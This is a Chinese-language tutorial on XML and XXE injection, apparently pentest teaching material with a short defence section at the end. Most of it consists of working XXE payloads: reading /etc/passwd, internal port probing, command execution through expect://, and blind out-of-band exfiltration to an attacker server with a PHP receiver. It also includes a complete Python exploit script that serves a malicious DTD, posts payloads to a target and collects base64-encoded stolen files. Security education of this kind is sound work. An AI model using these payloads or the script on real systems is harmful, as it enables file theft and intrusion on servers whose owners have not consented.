XML是一种类似HTML的标记性语言,用来存储标记数据、定义数据类型。和html不同的是,xml的根元素和子元素是允许用户自定义的。
以下是一段简单的XML代码:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
运行结果如下:
DTD (Document Type Definition)文档类型定义
作用:定义XML文档的合法构建模块,DTD可以在XML文档内声明,也可以在外部引用。
在DTD文档中使用ENTITY关键字来声明一个实体,格式如下:
通过&实体名称;进行调用实体
如声明实体b,b的内容为文档规范:http: //xx.com/1.dtd
由于外部实体不仅仅支持http协议,还支持其他协议如file。
如果想要系统的学习XML语言可以参考:https://www.w3school.com.cn/xml/xml_intro.asp声明 DT
XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml 2.9.1及以后,默认不再解析外部实体。
对于XXE通常有两种利用方式:有回显XXE漏洞和无回显XXE漏洞:
(1)有回显XXE
攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:
<?xml version="1.0" encoding="utf-8"?> //xml声明
<!DOCTYPE c [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<c>&file;</c>
(2)无回显XXE
服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:
<?xml version="1.0" encoding="utf-8"?> //xml声明
<!DOCTYPE c [
<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
%a;
]>
<c>&b;</c>
Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。
3.1 有回显的XXE漏洞利用
实验环境可以使用:xxe-labs:c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo (github.com),也可以使用vulhub中集成的xxe测试环境。
方式一:通过引用外部实体
(1)任意文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<admin>
<name>&xxe;</name>
</admin>
(2)内网端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://192.168.0.102:80">]>
<user><username>&xxe;</username><password>admin</password></user>
当访问存在的22端口时:
当访问不存在的1433端口时:
也可以通过burpsuite对开放端口进行枚举。
(3)远程命令执行
有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。当PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么就可以执行命令:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM “expect://id" >]>
<user><username>
&xxe;
</username><password>admin</password></user>
运行结果:
{“error”: “no results for description uid=0(root) gid=0(root) groups=0(root)…
方式二:通过使用外部参数实体
(1)任意文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % d SYSTEM "http://192.168.0.102/xxe/evil.dtd" >
%d;
]>
<root>
<name>&b;</name>
</root>
在远程的VPS服务器的网站根目录创建evil.dtd文件,文件内容如下:
<!ENTITY b SYSTEM "file:///etc/passwd">
运行结果如下:
3.2 无回显的XXE漏洞利用
(1)任意文件读取
方式一:
将以下xxe.xml保存到vps的服务器下
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.0.102/%file;'>" %all;
运行如下代码:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/xxe.xml">
<!ENTITY % file SYSTEM "file:///etc/passwd">
%remote;
%send;
]>
运行结果如下:
可以发现结果被当作错误信息进行返回。
方式二:
在远程vps上创建一个接收数据的文件的php(get.php),代码如下:
<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
echo "\n";
?>
然后再创建一个evil.dtd文件,代码如下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.0.102/xxe/get.php?file=%file;'>"
>
运行如下代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/evil.dtd">
%remote;
%all;
%send;
]>
打开vps下的test.txt,可以查看到运行结果。
Python运行环境为:Python3.7
脚本编写思路如下:
1)首先设置编码格式,导入需要使用到的库。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import requests
import sys
2)通过http.server开启一个http服务器,用来监听目标服务器返回的数据,代码如下。)
def StartHTTPServer(listenIp, listenPort):
# HTTP监听的IP地址和端口
serverAddr = (listenIp, listenPort)
httpd = HTTPServer(serverAddr, MyHandler)
print(
"[*] 正在开启HTTP服务器:\n===================\nIP地址:{0}\n监听端口:{1}\n===================\n".format(listenIp, listenPort))
httpd.serve_forever()
3)根据源码重写日志函数,将访问日志输出到终端上,源码如下。
修改后的代码如下:
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format % args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format % args))
textFile.close()
这段代码的作用会将IP地址和访问日志信息输出到终端中,并将结果i保存在当前目录下的result.txt中。
4)然后编写攻击Pyload的生成函数,根据给定的IP和端口生成包含而已DTD的XML文件。
def ExploitPayload(listenIp, listenPort):
file = open('evil.xml', 'w')
file.write(
"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,
listenPort))
file.close()
print("[*] Payload文件创建成功!")
5)通过POST方法项目标服务器发送攻击数据,代码如下:
def SendData(listenIp, listenPort, targetUrl):
# 需要读取的文件的路径(默认值)
filePath = "/etc/passwd"
while True:
# 对用户的输入的文件路径斜杠的替换
filePath = filePath.replace('\\', "/")
if filePath == 'exit':
break
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(
filePath, listenIp, listenPort)
requests.post(targetUrl, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("请输入你要查找的文件路径:")
6)编写主函数,进行相关变量的定义以及一些函数的调用
if __name__ == '__main__':
# 本机IP
listenIp = "192.168.0.102"
# 本机HTTP监听端口
listenPort = 4444
# 目标网站提交表单的targetUrl
targetUrl = "http://192.168.0.109:8080/dom.php"
# 创建payload文件
ExploitPayload(listenIp, listenPort)
# 创建HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))
# 执行创建HTTP服务线程
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))
#执行发送POST数据线程
threadPOST.start()
完整代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import requests
import sys
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format % args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format % args))
textFile.close()
# 创建攻击代码文件
def ExploitPayload(listenIp, listenPort):
file = open('evil.xml', 'w')
file.write(
"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,
listenPort))
file.close()
print("[*] Payload文件创建成功!")
# 开启HTTP服务,开启监听,接收数据
def StartHTTPServer(listenIp, listenPort):
# HTTP监听的IP地址和端口
serverAddr = (listenIp, listenPort)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*] 正在开启HTTP服务器:\n===================\nIP地址:{0}\n监听端口:{1}\n===================\n".format(listenIp, listenPort))
httpd.serve_forever()
# 通过POST发送攻击数据
def SendData(listenIp, listenPort, targetUrl):
# 需要读取的文件的路径(默认值)
filePath = "/etc/passwd"
while True:
# 对用户的输入的文件路径斜杠的替换
filePath = filePath.replace('\\', "/")
if filePath == 'exit':
break
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(
filePath, listenIp, listenPort)
requests.post(targetUrl, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("请输入你要查找的文件路径:")
if __name__ == '__main__':
# 本机IP
listenIp = "192.168.0.102"
# 本机HTTP监听端口
listenPort = 4444
# 目标网站提交表单的targetUrl
targetUrl = "http://192.168.0.109:8080/dom.php"
# 创建payload文件
ExploitPayload(listenIp, listenPort)
# 创建HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))
# 执行创建HTTP服务线程
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))
#执行发送POST数据线程
threadPOST.start()
运行结果:
可以看到结果成功在日志中返回。
将结果放入Burpsuite中进行base64解码,可以看到/etc/passwd中的密码成功回显。
2.5 XXE的防御
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词如下:
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
方案三、预定义字符转义:
1、《Python安全攻防渗透测试实战指南》
2、https://www.w3school.com.cn/dtd/index.asp
发表评论